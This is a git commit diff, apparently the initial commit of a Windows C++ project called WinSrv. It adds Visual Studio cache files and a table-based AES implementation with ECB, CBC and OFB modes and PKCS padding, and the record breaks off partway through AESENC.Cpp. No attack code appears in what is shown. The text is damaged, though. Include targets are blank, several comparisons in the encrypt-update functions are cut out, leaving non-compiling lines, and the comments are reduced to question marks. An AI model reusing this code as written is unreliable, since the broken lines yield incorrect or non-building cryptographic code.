commit a9d7d4a81630bff6cce93758143143aa0052890c Author: xfallen <452415307@qq.com> Date: Thu Feb 15 12:00:37 2024 +0800 first commit diff --git a/.vs/WinSrv/FileContentIndex/d96b5d03-0257-4f57-82ec-26b89863d14e.vsidx b/.vs/WinSrv/FileContentIndex/d96b5d03-0257-4f57-82ec-26b89863d14e.vsidx new file mode 100644 index 0000000..b160f6c Binary files /dev/null and b/.vs/WinSrv/FileContentIndex/d96b5d03-0257-4f57-82ec-26b89863d14e.vsidx differ diff --git a/.vs/WinSrv/v17/.suo b/.vs/WinSrv/v17/.suo new file mode 100644 index 0000000..d064057 Binary files /dev/null and b/.vs/WinSrv/v17/.suo differ diff --git a/.vs/WinSrv/v17/Browse.VC.db b/.vs/WinSrv/v17/Browse.VC.db new file mode 100644 index 0000000..2216a0b Binary files /dev/null and b/.vs/WinSrv/v17/Browse.VC.db differ diff --git a/.vs/WinSrv/v17/ipch/AutoPCH/b5407f58f9c7d36d/SOCK.ipch b/.vs/WinSrv/v17/ipch/AutoPCH/b5407f58f9c7d36d/SOCK.ipch new file mode 100644 index 0000000..62d1158 Binary files /dev/null and b/.vs/WinSrv/v17/ipch/AutoPCH/b5407f58f9c7d36d/SOCK.ipch differ diff --git a/.vs/WinSrv/v17/ipch/AutoPCH/deba2d15ca8f2a6d/BLUESOCK.ipch b/.vs/WinSrv/v17/ipch/AutoPCH/deba2d15ca8f2a6d/BLUESOCK.ipch new file mode 100644 index 0000000..5610a24 Binary files /dev/null and b/.vs/WinSrv/v17/ipch/AutoPCH/deba2d15ca8f2a6d/BLUESOCK.ipch differ diff --git a/.vs/WinSrv/v17/ipch/AutoPCH/fb47880e08f5e63a/WINSRV.ipch b/.vs/WinSrv/v17/ipch/AutoPCH/fb47880e08f5e63a/WINSRV.ipch new file mode 100644 index 0000000..2e13f2b Binary files /dev/null and b/.vs/WinSrv/v17/ipch/AutoPCH/fb47880e08f5e63a/WINSRV.ipch differ diff --git a/AES.cpp b/AES.cpp new file mode 100644 index 0000000..b313d5e --- /dev/null +++ b/AES.cpp @@ -0,0 +1,459 @@ +#include "StdAfx.h" +#include "aes.h" + + +typedef struct { + DWORD k_len; + DWORD RK[64]; +} RIJNDAEL_CIPHER_KEY; + +#define u1byte BYTE +#define u4byte DWORD +#define rotl ROTL_DWORD +#define rotr ROTR_DWORD +#define byte(x,n) ((u1byte)((x) >> (8 * n))) + +#define LARGE_TABLES + +#define ff_mult(a,b) (a && b ? pow_tab[(log_tab[a] + log_tab[b]) % 255] : 0) + +#ifdef LARGE_TABLES + #define ls_box(x) \ + ( fl_tab[0][byte(x, 0)] ^ \ + fl_tab[1][byte(x, 1)] ^ \ + fl_tab[2][byte(x, 2)] ^ \ + fl_tab[3][byte(x, 3)] ) +#else + #define ls_box(x) \ + ((u4byte)sbx_tab[byte(x, 0)] << 0) ^ \ + ((u4byte)sbx_tab[byte(x, 1)] << 8) ^ \ + ((u4byte)sbx_tab[byte(x, 2)] << 16) ^ \ + ((u4byte)sbx_tab[byte(x, 3)] << 24) +#endif + +static u1byte log_tab[256]; +static u1byte pow_tab[256]; +static u1byte sbx_tab[256]; +static u1byte isb_tab[256]; +static u4byte rco_tab[ 10]; +static u4byte ft_tab[4][256]; +static u4byte it_tab[4][256]; + +#ifdef LARGE_TABLES + static u4byte fl_tab[4][256]; + static u4byte il_tab[4][256]; +#endif + +static u4byte tab_gen = 0; + + +static void gen_tabs(void) +{ + u4byte i, t; + u1byte p, q; + + + log_tab[7] = 0; + for(i = 0,p = 1; i < 256; ++i) + { + pow_tab[i] = (BYTE)p; + log_tab[p] = (BYTE)i; + + p = (BYTE)(p ^ (p << 1) ^ (p & 0x80 ? 0x01b : 0)); + } + + log_tab[1] = 0; + p = 1; + + for(i = 0; i < 10; ++i) + { + rco_tab[i] = p; + + p = (BYTE)((p << 1) ^ (p & 0x80 ? 0x1b : 0)); + } + + + for(i = 0; i < 256; ++i) + { + p = (BYTE)(i ? pow_tab[255 - log_tab[i]] : 0); + q = p; + q = (BYTE)((q >> 7) | (q << 1)); + p ^= q; + q = (BYTE)((q >> 7) | (q << 1)); + p ^= q; + q = (BYTE)((q >> 7) | (q << 1)); + p ^= q; + q = (BYTE)((q >> 7) | (q << 1)); + p ^= q ^ 0x63; + sbx_tab[i] = (u1byte)p; + isb_tab[p] = (u1byte)i; + } + + for(i = 0; i < 256; ++i) + { + p = sbx_tab[i]; + +#ifdef LARGE_TABLES + t = p; + fl_tab[0][i] = t; + fl_tab[1][i] = rotl(t, 8); + fl_tab[2][i] = rotl(t, 16); + fl_tab[3][i] = rotl(t, 24); +#endif + t = ((u4byte)ff_mult(2, p)) | + ((u4byte)p << 8) | + ((u4byte)p << 16) | + ((u4byte)ff_mult(3, p) << 24); + + ft_tab[0][i] = t; + ft_tab[1][i] = rotl(t, 8); + ft_tab[2][i] = rotl(t, 16); + ft_tab[3][i] = rotl(t, 24); + + p = isb_tab[i]; + +#ifdef LARGE_TABLES + t = p; il_tab[0][i] = t; + il_tab[1][i] = rotl(t, 8); + il_tab[2][i] = rotl(t, 16); + il_tab[3][i] = rotl(t, 24); +#endif + t = ((u4byte)ff_mult(14, p)) | + ((u4byte)ff_mult( 9, p) << 8) | + ((u4byte)ff_mult(13, p) << 16) | + ((u4byte)ff_mult(11, p) << 24); + + it_tab[0][i] = t; + it_tab[1][i] = rotl(t, 8); + it_tab[2][i] = rotl(t, 16); + it_tab[3][i] = rotl(t, 24); + } + + tab_gen = 1; +}; + +#define star_x(x) (((x) & 0x7f7f7f7f) << 1) ^ ((((x) & 0x80808080) >> 7) * 0x1b) + +#define imix_col(y,x) \ + u = star_x(x); \ + v = star_x(u); \ + w = star_x(v); \ + t = w ^ (x); \ + (y) = u ^ v ^ w; \ + (y) ^= rotr(u ^ t, 8) ^ \ + rotr(v ^ t, 16) ^ \ + rotr(t,24) + + +static void RIJNDAEL_KeySchedule( + BYTE *UserKey, + DWORD k_len, + DWORD *e_key) +{ + u4byte i, t; + + if(!tab_gen) + gen_tabs(); + + LITTLE_B2D(&(UserKey[ 0]), e_key[0]); + LITTLE_B2D(&(UserKey[ 4]), e_key[1]); + LITTLE_B2D(&(UserKey[ 8]), e_key[2]); + LITTLE_B2D(&(UserKey[12]), e_key[3]); + + switch(k_len) + { + case 4: + t = e_key[3]; + for(i = 0; i < 10; ++i) { + t = ls_box(rotr(t, 8)) ^ rco_tab[i]; + t ^= e_key[4 * i]; e_key[4 * i + 4] = t; + t ^= e_key[4 * i + 1]; e_key[4 * i + 5] = t; + t ^= e_key[4 * i + 2]; e_key[4 * i + 6] = t; + t ^= e_key[4 * i + 3]; e_key[4 * i + 7] = t; + } + break; + + case 6: + LITTLE_B2D(&(UserKey[16]), e_key[4]); + LITTLE_B2D(&(UserKey[20]), e_key[5]); + t = e_key[5]; + for(i = 0; i < 8; ++i) { + t = ls_box(rotr(t, 8)) ^ rco_tab[i]; + t ^= e_key[6 * i]; e_key[6 * i + 6] = t; + t ^= e_key[6 * i + 1]; e_key[6 * i + 7] = t; + t ^= e_key[6 * i + 2]; e_key[6 * i + 8] = t; + t ^= e_key[6 * i + 3]; e_key[6 * i + 9] = t; + t ^= e_key[6 * i + 4]; e_key[6 * i + 10] = t; + t ^= e_key[6 * i + 5]; e_key[6 * i + 11] = t; + } + break; + + case 8: + LITTLE_B2D(&(UserKey[16]), e_key[4]); + LITTLE_B2D(&(UserKey[20]), e_key[5]); + LITTLE_B2D(&(UserKey[24]), e_key[6]); + LITTLE_B2D(&(UserKey[28]), e_key[7]); + t = e_key[7]; + for(i = 0; i < 7; ++i) { + t = ls_box(rotr(t, 8)) ^ rco_tab[i]; + t ^= e_key[8 * i]; e_key[8 * i + 8] = t; + t ^= e_key[8 * i + 1]; e_key[8 * i + 9] = t; + t ^= e_key[8 * i + 2]; e_key[8 * i + 10] = t; + t ^= e_key[8 * i + 3]; e_key[8 * i + 11] = t; + t = e_key[8 * i + 4] ^ ls_box(t); + e_key[8 * i + 12] = t; + t ^= e_key[8 * i + 5]; e_key[8 * i + 13] = t; + t ^= e_key[8 * i + 6]; e_key[8 * i + 14] = t; + t ^= e_key[8 * i + 7]; e_key[8 * i + 15] = t; + } + break; + } +} + + +RET_VAL AES_EncKeySchedule( + BYTE *UserKey, + DWORD UserKeyLen, + AES_ALG_INFO *AlgInfo) +{ + RIJNDAEL_CIPHER_KEY *RK_Struct=(RIJNDAEL_CIPHER_KEY *) AlgInfo->RoundKey; + DWORD *e_key=RK_Struct->RK; + DWORD k_len; + + if( (UserKeyLen!=16) && (UserKeyLen!=24) && (UserKeyLen!=32) ) + return CTR_INVALID_USERKEYLEN; + + k_len = (UserKeyLen + 3) / 4; + RK_Struct->k_len = k_len; + + RIJNDAEL_KeySchedule(UserKey, k_len, e_key); + + return CTR_SUCCESS; +} + + +RET_VAL AES_DecKeySchedule( + BYTE *UserKey, + DWORD UserKeyLen, + AES_ALG_INFO *AlgInfo) +{ + RIJNDAEL_CIPHER_KEY *RK_Struct=(RIJNDAEL_CIPHER_KEY *) AlgInfo->RoundKey; + DWORD *d_key=RK_Struct->RK; + DWORD k_len, t_key[64]; + u4byte i, t, u, v, w; + + if( (UserKeyLen!=16) && (UserKeyLen!=24) && (UserKeyLen!=32) ) + return CTR_INVALID_USERKEYLEN; + + k_len = (UserKeyLen + 3) / 4; + RK_Struct->k_len = k_len; + + RIJNDAEL_KeySchedule(UserKey, k_len, t_key); + + d_key[0] = t_key[4 * k_len + 24]; + d_key[1] = t_key[4 * k_len + 25]; + d_key[2] = t_key[4 * k_len + 26]; + d_key[3] = t_key[4 * k_len + 27]; + + for( i=4; i<4*(k_len+6); i+=4) { + imix_col(d_key[i+0], t_key[4*k_len+24-i+0]); + imix_col(d_key[i+1], t_key[4*k_len+24-i+1]); + imix_col(d_key[i+2], t_key[4*k_len+24-i+2]); + imix_col(d_key[i+3], t_key[4*k_len+24-i+3]); + } + d_key[i+0] = t_key[4*k_len+24-i+0]; + d_key[i+1] = t_key[4*k_len+24-i+1]; + d_key[i+2] = t_key[4*k_len+24-i+2]; + d_key[i+3] = t_key[4*k_len+24-i+3]; + + return CTR_SUCCESS; +} + + + +#define f_nround(bo, bi, k) { \ + bo[0] = ft_tab[0][byte(bi[0],0)] \ + ^ ft_tab[1][byte(bi[1],1)] \ + ^ ft_tab[2][byte(bi[2],2)] \ + ^ ft_tab[3][byte(bi[3],3)] ^ k[0];\ + bo[1] = ft_tab[0][byte(bi[1],0)] \ + ^ ft_tab[1][byte(bi[2],1)] \ + ^ ft_tab[2][byte(bi[3],2)] \ + ^ ft_tab[3][byte(bi[0],3)] ^ k[1];\ + bo[2] = ft_tab[0][byte(bi[2],0)] \ + ^ ft_tab[1][byte(bi[3],1)] \ + ^ ft_tab[2][byte(bi[0],2)] \ + ^ ft_tab[3][byte(bi[1],3)] ^ k[2];\ + bo[3] = ft_tab[0][byte(bi[3],0)] \ + ^ ft_tab[1][byte(bi[0],1)] \ + ^ ft_tab[2][byte(bi[1],2)] \ + ^ ft_tab[3][byte(bi[2],3)] ^ k[3];\ + k += 4; \ +} + +#define i_nround(bo, bi, k) { \ + bo[0] = it_tab[0][byte(bi[0],0)] \ + ^ it_tab[1][byte(bi[3],1)] \ + ^ it_tab[2][byte(bi[2],2)] \ + ^ it_tab[3][byte(bi[1],3)] ^ k[0];\ + bo[1] = it_tab[0][byte(bi[1],0)] \ + ^ it_tab[1][byte(bi[0],1)] \ + ^ it_tab[2][byte(bi[3],2)] \ + ^ it_tab[3][byte(bi[2],3)] ^ k[1];\ + bo[2] = it_tab[0][byte(bi[2],0)] \ + ^ it_tab[1][byte(bi[1],1)] \ + ^ it_tab[2][byte(bi[0],2)] \ + ^ it_tab[3][byte(bi[3],3)] ^ k[2];\ + bo[3] = it_tab[0][byte(bi[3],0)] \ + ^ it_tab[1][byte(bi[2],1)] \ + ^ it_tab[2][byte(bi[1],2)] \ + ^ it_tab[3][byte(bi[0],3)] ^ k[3];\ + k += 4; \ +} + +#ifdef LARGE_TABLES + #define f_lround(bo, bi, k) { \ + bo[0] = fl_tab[0][byte(bi[0],0)] \ + ^ fl_tab[1][byte(bi[1],1)] \ + ^ fl_tab[2][byte(bi[2],2)] \ + ^ fl_tab[3][byte(bi[3],3)] ^ k[0];\ + bo[1] = fl_tab[0][byte(bi[1],0)] \ + ^ fl_tab[1][byte(bi[2],1)] \ + ^ fl_tab[2][byte(bi[3],2)] \ + ^ fl_tab[3][byte(bi[0],3)] ^ k[1];\ + bo[2] = fl_tab[0][byte(bi[2],0)] \ + ^ fl_tab[1][byte(bi[3],1)] \ + ^ fl_tab[2][byte(bi[0],2)] \ + ^ fl_tab[3][byte(bi[1],3)] ^ k[2];\ + bo[3] = fl_tab[0][byte(bi[3],0)] \ + ^ fl_tab[1][byte(bi[0],1)] \ + ^ fl_tab[2][byte(bi[1],2)] \ + ^ fl_tab[3][byte(bi[2],3)] ^ k[3];\ + } + + #define i_lround(bo, bi, k) { \ + bo[0] = il_tab[0][byte(bi[0],0)] \ + ^ il_tab[1][byte(bi[3],1)] \ + ^ il_tab[2][byte(bi[2],2)] \ + ^ il_tab[3][byte(bi[1],3)] ^ k[0];\ + bo[1] = il_tab[0][byte(bi[1],0)] \ + ^ il_tab[1][byte(bi[0],1)] \ + ^ il_tab[2][byte(bi[3],2)] \ + ^ il_tab[3][byte(bi[2],3)] ^ k[1];\ + bo[2] = il_tab[0][byte(bi[2],0)] \ + ^ il_tab[1][byte(bi[1],1)] \ + ^ il_tab[2][byte(bi[0],2)] \ + ^ il_tab[3][byte(bi[3],3)] ^ k[2];\ + bo[3] = il_tab[0][byte(bi[3],0)] \ + ^ il_tab[1][byte(bi[2],1)] \ + ^ il_tab[2][byte(bi[1],2)] \ + ^ il_tab[3][byte(bi[0],3)] ^ k[3];\ + } +#else + #define f_rl(bo, bi, n, k) \ + bo[n] = (u4byte)sbx_tab[byte(bi[n],0)] ^ \ + rotl(((u4byte)sbx_tab[byte(bi[(n + 1) & 3],1)]), 8) ^ \ + rotl(((u4byte)sbx_tab[byte(bi[(n + 2) & 3],2)]), 16) ^ \ + rotl(((u4byte)sbx_tab[byte(bi[(n + 3) & 3],3)]), 24) ^ *(k + n) + + #define i_rl(bo, bi, n, k) \ + bo[n] = (u4byte)isb_tab[byte(bi[n],0)] ^ \ + rotl(((u4byte)isb_tab[byte(bi[(n + 3) & 3],1)]), 8) ^ \ + rotl(((u4byte)isb_tab[byte(bi[(n + 2) & 3],2)]), 16) ^ \ + rotl(((u4byte)isb_tab[byte(bi[(n + 1) & 3],3)]), 24) ^ *(k + n) + + #define f_lround(bo, bi, k) \ + f_rl(bo, bi, 0, k); \ + f_rl(bo, bi, 1, k); \ + f_rl(bo, bi, 2, k); \ + f_rl(bo, bi, 3, k) + + #define i_lround(bo, bi, k) \ + i_rl(bo, bi, 0, k); \ + i_rl(bo, bi, 1, k); \ + i_rl(bo, bi, 2, k); \ + i_rl(bo, bi, 3, k) +#endif + + +void AES_Encrypt( + void *CipherKey, + BYTE *Data) +{ + RIJNDAEL_CIPHER_KEY *RK_Struct= (RIJNDAEL_CIPHER_KEY*)CipherKey; + DWORD *e_key=RK_Struct->RK; + DWORD k_len=RK_Struct->k_len; + u4byte b0[4], b1[4], *kp; + + LITTLE_B2D(&(Data[ 0]), b0[0]); + LITTLE_B2D(&(Data[ 4]), b0[1]); + LITTLE_B2D(&(Data[ 8]), b0[2]); + LITTLE_B2D(&(Data[12]), b0[3]); + + b0[0] ^= e_key[0]; + b0[1] ^= e_key[1]; + b0[2] ^= e_key[2]; + b0[3] ^= e_key[3]; + + kp = e_key + 4; + + switch( k_len ) { + case 8 : + f_nround(b1, b0, kp); f_nround(b0, b1, kp); + case 6 : + f_nround(b1, b0, kp); f_nround(b0, b1, kp); + case 4 : + f_nround(b1, b0, kp); f_nround(b0, b1, kp); + f_nround(b1, b0, kp); f_nround(b0, b1, kp); + f_nround(b1, b0, kp); f_nround(b0, b1, kp); + f_nround(b1, b0, kp); f_nround(b0, b1, kp); + f_nround(b1, b0, kp); f_lround(b0, b1, kp); + } + + LITTLE_D2B(b0[0], &(Data[ 0])); + LITTLE_D2B(b0[1], &(Data[ 4])); + LITTLE_D2B(b0[2], &(Data[ 8])); + LITTLE_D2B(b0[3], &(Data[12])); +} + + +void AES_Decrypt( + void *CipherKey, + BYTE *Data) +{ + RIJNDAEL_CIPHER_KEY *RK_Struct= (RIJNDAEL_CIPHER_KEY*)CipherKey; + DWORD *d_key=RK_Struct->RK; + DWORD k_len=RK_Struct->k_len; + u4byte b0[4], b1[4], *kp; + + LITTLE_B2D(&(Data[ 0]), b0[0]); + LITTLE_B2D(&(Data[ 4]), b0[1]); + LITTLE_B2D(&(Data[ 8]), b0[2]); + LITTLE_B2D(&(Data[12]), b0[3]); + + b0[0] ^= d_key[0]; + b0[1] ^= d_key[1]; + b0[2] ^= d_key[2]; + b0[3] ^= d_key[3]; + + kp = d_key + 4; + + switch( k_len ) { + case 8 : + i_nround(b1, b0, kp); i_nround(b0, b1, kp); + case 6 : + i_nround(b1, b0, kp); i_nround(b0, b1, kp); + case 4 : + i_nround(b1, b0, kp); i_nround(b0, b1, kp); + i_nround(b1, b0, kp); i_nround(b0, b1, kp); + i_nround(b1, b0, kp); i_nround(b0, b1, kp); + i_nround(b1, b0, kp); i_nround(b0, b1, kp); + i_nround(b1, b0, kp); i_lround(b0, b1, kp); + } + + LITTLE_D2B(b0[0], &(Data[ 0])); + LITTLE_D2B(b0[1], &(Data[ 4])); + LITTLE_D2B(b0[2], &(Data[ 8])); + LITTLE_D2B(b0[3], &(Data[12])); +} + diff --git a/AES.h b/AES.h new file mode 100644 index 0000000..9959846 --- /dev/null +++ b/AES.h @@ -0,0 +1,168 @@ + +#ifndef _AES_H +#define _AES_H + +/*************** Header files *********************************************/ +#include "StdAfx.h" +#include +#include +#include +//#include "cryptcom.h" + + +#define AES_ModeType AI_ECB +#define AES_PadType AI_PKCS_PADDING + +/*************** Assertions ***********************************************/ +//////// Define the Endianness //////// +#undef BIG_ENDIAN +#undef LITTLE_ENDIAN + +#define USER_LITTLE_ENDIAN + +#if defined(USER_BIG_ENDIAN) + #define BIG_ENDIAN +#elif defined(USER_LITTLE_ENDIAN) + #define LITTLE_ENDIAN +#else + #if 0 + #define BIG_ENDIAN // Big-Endian machine with pointer casting + #elif defined(_MSC_VER) + #define LITTLE_ENDIAN // Little-Endian machine with pointer casting + #else + #error + #endif +#endif + +/*************** Macros ***************************************************/ +//////// rotate by using shift operations //////// +#if defined(_MSC_VER) + #define ROTL_DWORD(x, n) _lrotl((x), (n)) + #define ROTR_DWORD(x, n) _lrotr((x), (n)) +#else + #define ROTL_DWORD(x, n) ( (DWORD)((x) << (n)) | (DWORD)((x) >> (32-(n))) ) + #define ROTR_DWORD(x, n) ( (DWORD)((x) >> (n)) | (DWORD)((x) << (32-(n))) ) +#endif + +//////// reverse the byte order of DWORD(DWORD:4-bytes integer) and WORD. +#define ENDIAN_REVERSE_DWORD(dwS) ( (ROTL_DWORD((dwS), 8) & 0x00ff00ff) | (ROTL_DWORD((dwS), 24) & 0xff00ff00) ) + +//////// move DWORD type to BYTE type and BYTE type to DWORD type +#if defined(BIG_ENDIAN) //// Big-Endian machine + #define BIG_B2D(B, D) D = *(DWORD *)(B) + #define BIG_D2B(D, B) *(DWORD *)(B) = (DWORD)(D) + #define LITTLE_B2D(B, D) D = ENDIAN_REVERSE_DWORD(*(DWORD *)(B)) + #define LITTLE_D2B(D, B) *(DWORD *)(B) = ENDIAN_REVERSE_DWORD(D) +#elif defined(LITTLE_ENDIAN) //// Little-Endian machine + #define BIG_B2D(B, D) D = ENDIAN_REVERSE_DWORD(*(DWORD *)(B)) + #define BIG_D2B(D, B) *(DWORD *)(B) = ENDIAN_REVERSE_DWORD(D) + #define LITTLE_B2D(B, D) D = *(DWORD *)(B) + #define LITTLE_D2B(D, B) *(DWORD *)(B) = (DWORD)(D) +#else + #error ERROR : Invalid DataChangeType +#endif + +/*************** Definitions / Macros *************************************/ +//// ?? ??? 4? ??? ????. +#define AI_ECB 1 +#define AI_CBC 2 +#define AI_OFB 3 +#define AI_CFB 4 +//// ?? ??? ? padding? ????. +#define AI_NO_PADDING 1 // Padding ??(??? 16???? ??) +#define AI_PKCS_PADDING 2 // padding?? ??? ?? padding + +//// AES? ??? ??? +#define AES_BLOCK_LEN 16 // in BYTEs +#define AES_USER_KEY_LEN 32 // (16,24,32) in BYTEs +#define AES_NO_ROUNDS 10 +#define AES_NO_ROUNDKEY 68 // in DWORDs + +/*************** New Data Types *******************************************/ +//////// Determine data types depand on the processor and compiler. +#define BOOL int // 1-bit data type +#define BYTE unsigned char // unsigned 1-byte data type +#define WORD unsigned short int // unsigned 2-bytes data type +#define DWORD unsigned int // unsigned 4-bytes data type +#define RET_VAL DWORD // return values + +//// AES.. +typedef struct{ + DWORD ModeID; // ECB or CBC + DWORD PadType; // ????? Padding type + BYTE IV[AES_BLOCK_LEN]; // Initial Vector + BYTE ChainVar[AES_BLOCK_LEN]; // Chaining Variable + BYTE Buffer[AES_BLOCK_LEN]; // Buffer for unfilled block + DWORD BufLen; // Buffer? ?? ??? ? + DWORD RoundKey[AES_NO_ROUNDKEY]; // ??? ?? DWORD ? +} AES_ALG_INFO; + +/*************** Constant (Error Code) ************************************/ +//// Error Code - ????, ??? ???? ?. +#define CTR_SUCCESS 0 +#define CTR_FATAL_ERROR 0x1001 +#define CTR_INVALID_USERKEYLEN 0x1002 // ???? ??? ????. +#define CTR_PAD_CHECK_ERROR 0x1003 // +#define CTR_DATA_LEN_ERROR 0x1004 // ??? ??? ????. +#define CTR_CIPHER_LEN_ERROR 0x1005 // ???? ??? ??? ??. + +#ifdef __cplusplus +extern "C" { +#endif + +/*************** Prototypes ***********************************************/ +//// ??? ?? AES_ALG_INFO? mode, padding ?? ? IV ?? ?????. +void AES_SetAlgInfo( + DWORD ModeID, + DWORD PadType, + BYTE *IV, + AES_ALG_INFO *AlgInfo); + +//// ??? AES_USER_KEY_LEN???? ???? ??? ? ?? +RET_VAL AES_EncKeySchedule( + BYTE *UserKey, // ??? ???? ???. + DWORD UserKeyLen, + AES_ALG_INFO *AlgInfo); // ???? Round Key? ???. +RET_VAL AES_DecKeySchedule( + BYTE *UserKey, // ??? ???? ???. + DWORD UserKeyLen, + AES_ALG_INFO *AlgInfo); // ???? Round Key? ???. + +//// Init/Update/Final ??? ???. +RET_VAL AES_EncInit( + AES_ALG_INFO *AlgInfo); +RET_VAL AES_EncUpdate( + AES_ALG_INFO *AlgInfo, + BYTE *PlainTxt, // ??? ???. + DWORD PlainTxtLen, + BYTE *CipherTxt, // ???? ???. + DWORD *CipherTxtLen); +RET_VAL AES_EncFinal( + AES_ALG_INFO *AlgInfo, + BYTE *CipherTxt, // ???? ???. + DWORD *CipherTxtLen); + +//// Init/Update/Final ??? ???. +RET_VAL AES_DecInit( + AES_ALG_INFO *AlgInfo); +RET_VAL AES_DecUpdate( + AES_ALG_INFO *AlgInfo, + BYTE *CipherTxt, // ???? ???. + DWORD CipherTxtLen, + BYTE *PlainTxt, // ???? ???. + DWORD *PlainTxtLen); +RET_VAL AES_DecFinal( + AES_ALG_INFO *AlgInfo, + BYTE *PlainTxt, // ???? ???. + DWORD *PlainTxtLen); + +/*************** END OF FILE **********************************************/ + + +#ifdef __cplusplus +} +#endif + +#endif // _AES_H + + diff --git a/AESENC.Cpp b/AESENC.Cpp new file mode 100644 index 0000000..02d319b --- /dev/null +++ b/AESENC.Cpp @@ -0,0 +1,863 @@ + +#include "StdAfx.h" +#include "aes.h" + +#define BlockCopy(pbDst, pbSrc) { \ + ((DWORD *)(pbDst))[0] = ((DWORD *)(pbSrc))[0]; \ + ((DWORD *)(pbDst))[1] = ((DWORD *)(pbSrc))[1]; \ + ((DWORD *)(pbDst))[2] = ((DWORD *)(pbSrc))[2]; \ + ((DWORD *)(pbDst))[3] = ((DWORD *)(pbSrc))[3]; \ +} +#define BlockXor(pbDst, phSrc1, phSrc2) { \ + ((DWORD *)(pbDst))[0] = ((DWORD *)(phSrc1))[0] \ + ^ ((DWORD *)(phSrc2))[0]; \ + ((DWORD *)(pbDst))[1] = ((DWORD *)(phSrc1))[1] \ + ^ ((DWORD *)(phSrc2))[1]; \ + ((DWORD *)(pbDst))[2] = ((DWORD *)(phSrc1))[2] \ + ^ ((DWORD *)(phSrc2))[2]; \ + ((DWORD *)(pbDst))[3] = ((DWORD *)(phSrc1))[3] \ + ^ ((DWORD *)(phSrc2))[3]; \ +} + +void AES_Encrypt( + void *CipherKey, + BYTE *Data); +void AES_Decrypt( + void *CipherKey, + BYTE *Data); + + +void AES_SetAlgInfo( + DWORD ModeID, + DWORD PadType, + BYTE *IV, + AES_ALG_INFO *AlgInfo) +{ + AlgInfo->ModeID = ModeID; + AlgInfo->PadType = PadType; + + if( IV!=NULL ) + memcpy(AlgInfo->IV, IV, AES_BLOCK_LEN); + else + memset(AlgInfo->IV, 0, AES_BLOCK_LEN); +} + +static RET_VAL PaddSet( + BYTE *pbOutBuffer, + DWORD dRmdLen, + DWORD dBlockLen, + DWORD dPaddingType) +{ + DWORD dPadLen; + + switch( dPaddingType ) + { + case AI_NO_PADDING : + if( dRmdLen==0 ) return 0; + else return CTR_DATA_LEN_ERROR; + + case AI_PKCS_PADDING : + dPadLen = dBlockLen - dRmdLen; + memset(pbOutBuffer+dRmdLen, (char)dPadLen, (int)dPadLen); + return dPadLen; + + default : + return CTR_FATAL_ERROR; + } +} + + +static RET_VAL PaddCheck( + BYTE *pbOutBuffer, + DWORD dBlockLen, + DWORD dPaddingType) +{ + DWORD i, dPadLen; + + switch( dPaddingType ) { + case AI_NO_PADDING : + return 0; + + case AI_PKCS_PADDING : + dPadLen = pbOutBuffer[dBlockLen-1]; + if( ((int)dPadLen<=0) || (dPadLen>(int)dBlockLen) ) + return CTR_PAD_CHECK_ERROR; + for( i=1; i<=dPadLen; i++) + if( pbOutBuffer[dBlockLen-i] != dPadLen ) + return CTR_PAD_CHECK_ERROR; + return dPadLen; + + default : + return CTR_FATAL_ERROR; + } +} + +RET_VAL AES_EncInit( + AES_ALG_INFO *AlgInfo) +{ + AlgInfo->BufLen = 0; + if( AlgInfo->ModeID!=AI_ECB ) + memcpy(AlgInfo->ChainVar, AlgInfo->IV, AES_BLOCK_LEN); + return CTR_SUCCESS; +} + + +static RET_VAL ECB_EncUpdate( + AES_ALG_INFO *AlgInfo, + BYTE *PlainTxt, + DWORD PlainTxtLen, + BYTE *CipherTxt, + DWORD *CipherTxtLen) +{ + DWORD *ScheduledKey=AlgInfo->RoundKey; + DWORD BlockLen=AES_BLOCK_LEN, BufLen=AlgInfo->BufLen; + + *CipherTxtLen = BufLen + PlainTxtLen; + + if( *CipherTxtLenBuffer+BufLen, PlainTxt, (int)PlainTxtLen); + AlgInfo->BufLen += PlainTxtLen; + *CipherTxtLen = 0; + return CTR_SUCCESS; + } + + if( PlainTxt==CipherTxt ) + return CTR_FATAL_ERROR; + + memcpy(AlgInfo->Buffer+BufLen, PlainTxt, (int)(BlockLen - BufLen)); + PlainTxt += BlockLen - BufLen; + PlainTxtLen -= BlockLen - BufLen; + + BlockCopy(CipherTxt, AlgInfo->Buffer); + AES_Encrypt(ScheduledKey, CipherTxt); + CipherTxt += BlockLen; + while( PlainTxtLen>=BlockLen ) + { + BlockCopy(CipherTxt, PlainTxt); + AES_Encrypt(ScheduledKey, CipherTxt); + PlainTxt += BlockLen; + CipherTxt += BlockLen; + PlainTxtLen -= BlockLen; + } + + memcpy(AlgInfo->Buffer, PlainTxt, (int)PlainTxtLen); + AlgInfo->BufLen = PlainTxtLen; + *CipherTxtLen -= PlainTxtLen; + + return CTR_SUCCESS; +} + + +static RET_VAL CBC_EncUpdate( + AES_ALG_INFO *AlgInfo, + BYTE *PlainTxt, + DWORD PlainTxtLen, + BYTE *CipherTxt, + DWORD *CipherTxtLen) +{ + DWORD *ScheduledKey=AlgInfo->RoundKey; + DWORD BlockLen=AES_BLOCK_LEN, BufLen=AlgInfo->BufLen; + + *CipherTxtLen = BufLen + PlainTxtLen; + + if( *CipherTxtLenBuffer+BufLen, PlainTxt, (int)PlainTxtLen); + AlgInfo->BufLen += PlainTxtLen; + *CipherTxtLen = 0; + return CTR_SUCCESS; + } + + if( PlainTxt==CipherTxt ) + return CTR_FATAL_ERROR; + + memcpy(AlgInfo->Buffer+BufLen, PlainTxt, (int)(BlockLen - BufLen)); + PlainTxt += BlockLen - BufLen; + PlainTxtLen -= BlockLen - BufLen; + + BlockXor(CipherTxt, AlgInfo->ChainVar, AlgInfo->Buffer); + AES_Encrypt(ScheduledKey, CipherTxt); + CipherTxt += BlockLen; + while( PlainTxtLen>=BlockLen ) + { + BlockXor(CipherTxt, CipherTxt-BlockLen, PlainTxt); + AES_Encrypt(ScheduledKey, CipherTxt); + PlainTxt += BlockLen; + CipherTxt += BlockLen; + PlainTxtLen -= BlockLen; + } + BlockCopy(AlgInfo->ChainVar, CipherTxt-BlockLen); + + memcpy(AlgInfo->Buffer, PlainTxt, (int)PlainTxtLen); + AlgInfo->BufLen = PlainTxtLen; + *CipherTxtLen -= PlainTxtLen; + + return CTR_SUCCESS; +} + + +static RET_VAL OFB_EncUpdate( + AES_ALG_INFO *AlgInfo, + BYTE *PlainTxt, + DWORD PlainTxtLen, + BYTE *CipherTxt, + DWORD *CipherTxtLen) +{ + DWORD *ScheduledKey=AlgInfo->RoundKey; + DWORD BlockLen=AES_BLOCK_LEN; + DWORD BufLen=AlgInfo->BufLen; + + *CipherTxtLen = BufLen + PlainTxtLen; + + if( *CipherTxtLenBuffer+BufLen, PlainTxt, 